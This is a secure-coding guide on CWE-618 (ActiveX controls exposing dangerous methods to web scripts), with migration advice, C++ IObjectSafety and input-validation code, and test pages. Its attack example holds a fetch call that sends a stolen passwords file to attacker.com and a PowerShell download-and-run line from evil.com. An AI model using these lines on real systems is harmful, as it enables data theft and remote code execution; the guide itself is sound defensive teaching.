Skip to content

CWE-618: Exposed Unsafe ActiveX Method

Overview

ActiveX controls marked "safe for scripting" expose methods to web pages without proper security controls, enabling malicious websites to invoke dangerous operations (file system access, registry modification, code execution) in visitor browsers via JavaScript.

Risk

Critical: Unsafe ActiveX enables remote code execution, arbitrary file read/write, registry manipulation, system compromise, and affects all visitors to malicious websites. Exploited widely in browser-based attacks.

Remediation Steps

Core principle: Do not expose unsafe ActiveX methods to untrusted callers; disable/limit scripting-accessible dangerous methods.

Locate Unsafe ActiveX Controls

When reviewing security scan results:

  • Find ActiveX controls: Search for CLSID, object tags, ActiveX registration
  • Check IObjectSafety: Look for INTERFACESAFE_FOR_UNTRUSTED_CALLER
  • Identify dangerous methods: File operations, command execution, registry access
  • Review method exposure: Which methods are callable from JavaScript
  • Check web pages: HTML using ActiveX controls

Search patterns:

grep -r "classid:clsid" --include="*.html"
grep -r "IObjectSafety" --include="*.cpp"
grep -r "INTERFACESAFE_FOR_UNTRUSTED" --include="*.cpp"

Remove ActiveX Controls (Primary Defense - Modern Web)

<!-- OBSOLETE - ActiveX (IE only, discontinued) -->
<object classid="clsid:12345678-1234-1234-1234-123456789012" id="myControl">
    <param name="method" value="executeCommand">
</object>

<script>
    // Attacker can call dangerous methods
    myControl.ExecuteFile("C:\\malicious.exe");  // RCE!
    myControl.WriteFile("C:\\Windows\\System32\\evil.dll", data);
    myControl.SetRegistryKey("HKLM\\Software\\...", "malicious");
</script>

<!-- MODERN - Use web standards (recommended) -->
<input type="file" id="fileInput" accept=".pdf,.doc">
<script>
    // File API - sandboxed, secure
    document.getElementById('fileInput').addEventListener('change', (e) => {
        const file = e.target.files[0];
        const reader = new FileReader();
        reader.onload = (event) => {
            processFileContent(event.target.result);
        };
        reader.readAsText(file);
    });
</script>

Why this works: ActiveX is obsolete technology, only worked in Internet Explorer, and has been discontinued. Modern web APIs provide secure alternatives with proper sandboxing.

Internet Explorer is dead:

  • IE 11 support ended June 15, 2022
  • Edge uses Chromium, doesn't support ActiveX
  • No modern browser supports ActiveX
  • Migrate to web standards

Use Modern Web API Alternatives

// File operations → File API, File System Access API
// OLD: ActiveX file read
myControl.ReadFile("C:\\file.txt");

// NEW: File API (user must select file)
const fileInput = document.getElementById('upload');
fileInput.files[0].text().then(content => {
    console.log(content);  // Secure, user-initiated
});

// NEW: File System Access API (Chrome)
const [fileHandle] = await window.showOpenFilePicker();
const file = await fileHandle.getFile();
const content = await file.text();

// Cryptography → Web Crypto API
// OLD: ActiveX crypto
myControl.HashPassword(password);

// NEW: Web Crypto API
const encoder = new TextEncoder();
const data = encoder.encode(password);
const hash = await crypto.subtle.digest('SHA-256', data);

// Hardware access → WebUSB, WebBluetooth, WebHID
// OLD: ActiveX hardware control
myControl.ConnectToDevice(deviceId);

// NEW: WebUSB
const device = await navigator.usb.requestDevice({ filters: [...] });
await device.open();

// Local storage → IndexedDB, localStorage, SessionStorage
// OLD: ActiveX local storage
myControl.SaveData("key", "value");

// NEW: localStorage (simple)
localStorage.setItem('key', 'value');

// NEW: IndexedDB (complex, large data)
const db = await idb.openDB('myDatabase', 1);
await db.put('store', { key: 'value' });

// Desktop application → Electron, Progressive Web Apps
// If you need native OS integration, use:
// - Electron (desktop app framework)
// - Browser extensions (WebExtensions API)
// - Progressive Web Apps (PWA)

If ActiveX Required - Mark as Unsafe for Scripting

// C++ ActiveX control implementation

// Mark control as UNSAFE for untrusted scripting
DECLARE_NOT_AGGREGATABLE(CMyControl)

// Do NOT implement IObjectSafety for dangerous methods
BEGIN_INTERFACE_MAP(CMyControl, CComObjectRootEx<CComSingleThreadModel>)
    INTERFACE_ENTRY(IMyControl)
    // Don't add: INTERFACE_ENTRY(IObjectSafety)
END_INTERFACE_MAP()

// Or implement IObjectSafety to explicitly deny scripting
STDMETHODIMP CMyControl::SetInterfaceSafetyOptions(
    REFIID riid,
    DWORD dwOptionSetMask,
    DWORD dwEnabledOptions)
{
    // Deny scripting from untrusted sources
    if (dwOptionSetMask & INTERFACESAFE_FOR_UNTRUSTED_CALLER) {
        return E_FAIL;  // Disallow
    }

    // Allow initialization safety only
    if (dwOptionSetMask & INTERFACESAFE_FOR_UNTRUSTED_DATA) {
        return S_OK;
    }

    return E_FAIL;
}

Add Input Validation to ActiveX Methods

// If you MUST keep ActiveX, validate all inputs rigorously

STDMETHODIMP CMyControl::WriteFile(BSTR path, BSTR content)
{
    // 1. Validate path - prevent directory traversal
    if (wcsstr(path, L"..") != NULL) {
        return E_INVALIDARG;
    }

    // 2. Restrict to specific allowed directory
    const wchar_t* ALLOWED_PATH = L"C:\\AllowedAppData\\";
    if (wcsncmp(path, ALLOWED_PATH, wcslen(ALLOWED_PATH)) != 0) {
        return E_ACCESSDENIED;
    }

    // 3. Validate filename - no executable extensions
    if (wcsstr(path, L".exe") || wcsstr(path, L".dll") || 
        wcsstr(path, L".bat") || wcsstr(path, L".cmd")) {
        return E_ACCESSDENIED;
    }

    // 4. Validate content size
    UINT contentLen = SysStringLen(content);
    const UINT MAX_SIZE = 1024 * 1024;  // 1 MB
    if (contentLen > MAX_SIZE) {
        return E_INVALIDARG;
    }

    // 5. Log the operation
    LogSecurityEvent(L"FileWrite", path, GetCallerOrigin());

    return WriteFileImpl(path, content);
}

STDMETHODIMP CMyControl::ExecuteCommand(BSTR command)
{
    // NEVER allow arbitrary command execution!
    return E_NOTIMPL;  // Not implemented for security
}

STDMETHODIMP CMyControl::SetRegistryKey(BSTR key, BSTR value)
{
    // If needed, restrict to specific safe registry locations
    const wchar_t* ALLOWED_KEY = L"HKCU\\Software\\MyApp\\";
    if (wcsncmp(key, ALLOWED_KEY, wcslen(ALLOWED_KEY)) != 0) {
        return E_ACCESSDENIED;
    }

    // Validate value
    if (SysStringLen(value) > 256) {
        return E_INVALIDARG;
    }

    return SetRegistryImpl(key, value);
}

Test and Migrate Away from ActiveX

Testing (if keeping ActiveX temporarily):

<!-- Test that control is not scriptable -->
<object classid="clsid:YOUR-CONTROL-GUID" id="testControl"></object>
<script>
try {
    testControl.ExecuteCommand("cmd.exe");  // Should fail
    console.error("SECURITY FAILURE: Command executed!");
} catch (e) {
    console.log("Good: Command blocked");
}

try {
    testControl.WriteFile("C:\\..\\..\\evil.exe", "data");  // Should fail
    console.error("SECURITY FAILURE: Path traversal!");
} catch (e) {
    console.log("Good: Path traversal blocked");
}
</script>

ActiveX to Modern Web Migration

Phase 1: Inventory

  • List all ActiveX controls used
  • Document what each control does
  • Identify modern alternatives

Phase 2: Implement Alternatives

  • File operations → File API
  • Crypto → Web Crypto API
  • Hardware → WebUSB/WebBluetooth
  • Storage → IndexedDB/localStorage
  • Desktop features → Electron/PWA

Phase 3: Test

  • Test in modern browsers (Chrome, Firefox, Edge)
  • Verify functionality parity
  • Security testing

Phase 4: Deploy

  • Remove ActiveX controls
  • Update HTML/JavaScript
  • Communicate to users (no IE required)

Phase 5: Verify

  • No ActiveX objects in HTML
  • No CLSID references
  • Works in all modern browsers

Security verification:

  • No ActiveX controls in production
  • If ActiveX needed: marked unsafe for scripting
  • Dangerous methods (Execute, WriteFile, Registry) disabled
  • Input validation on all ActiveX methods
  • Modern web APIs used instead
  • Application works without IE
  • Security testing passed (no RCE, file access, registry access)

Vulnerable ActiveX Patterns

// Dangerous methods exposed to scripting:

// File system access
STDMETHODIMP WriteFile(BSTR path, BSTR content);
STDMETHODIMP ReadFile(BSTR path, BSTR* content);
STDMETHODIMP DeleteFile(BSTR path);

// Code execution
STDMETHODIMP ExecuteCommand(BSTR command);
STDMETHODIMP RunProgram(BSTR exePath);

// Registry access
STDMETHODIMP SetRegistryKey(BSTR key, BSTR value);
STDMETHODIMP GetRegistryKey(BSTR key, BSTR* value);

// Network access
STDMETHODIMP DownloadFile(BSTR url, BSTR localPath);
STDMETHODIMP UploadFile(BSTR localPath, BSTR url);

Attack Example

<!-- Malicious website -->
<object classid="clsid:VULNERABLE-CONTROL-GUID" id="evil">
</object>

<script>
    // Read files
    var content = evil.ReadFile("C:\\Users\\victim\\Documents\\passwords.txt");

    // Send to attacker
    fetch('https://attacker.com/steal', {
        method: 'POST',
        body: content
    });

    // Execute malware
    evil.ExecuteCommand("powershell -c IEX(New-Object Net.WebClient).DownloadString('http://evil.com/payload.ps1')");
</script>

Migration Path

ActiveX Control → Modern Alternative

File access → File API, File System Access API Printing → window.print(), Print API Crypto → Web Crypto API Hardware → WebUSB, WebBluetooth, WebHID Local data → IndexedDB, localStorage Desktop app → Electron, Progressive Web Apps Browser extension → WebExtensions API

Additional Resources